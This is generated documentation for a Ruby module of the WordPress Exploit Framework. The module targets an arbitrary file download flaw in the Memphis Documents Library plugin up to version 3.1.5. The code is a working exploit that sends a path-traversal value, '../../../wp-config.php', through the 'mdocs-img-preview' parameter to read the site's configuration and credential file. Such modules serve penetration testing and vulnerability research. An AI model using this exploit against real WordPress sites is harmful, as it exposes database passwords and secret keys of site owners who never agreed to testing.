class Wpxf::Auxiliary::MemphisDocumentsLibraryArbitraryFileDownload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::FileDownload::new
# File lib/wpxf/modules/auxiliary/file_download/memphis_documents_library_arbitrary_file_download.rb, line 6
def initialize
  super

  update_info(
    name: 'Memphis Documents Library <= 3.1.5 Arbitrary File Download',
    author: [
      'Felipe Molina', # Disclosure
      'rastating'      # WPXF module
    ],
    references: [
      ['WPVDB', '8419']
    ],
    date: 'Mar 22 2016'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/memphis_documents_library_arbitrary_file_download.rb, line 22
def check
  check_plugin_version_from_readme('memphis-documents-library', '3.1.6')
end
default_remote_file_path() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/memphis_documents_library_arbitrary_file_download.rb, line 30
def default_remote_file_path
  '../../../wp-config.php'
end
download_request_params() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/memphis_documents_library_arbitrary_file_download.rb, line 38
def download_request_params
  { 'mdocs-img-preview' => remote_file }
end
downloader_url() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/memphis_documents_library_arbitrary_file_download.rb, line 34
def downloader_url
  full_uri
end
working_directory() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/memphis_documents_library_arbitrary_file_download.rb, line 26
def working_directory
  'wp-content/plugins/memphis-documents-library/'
end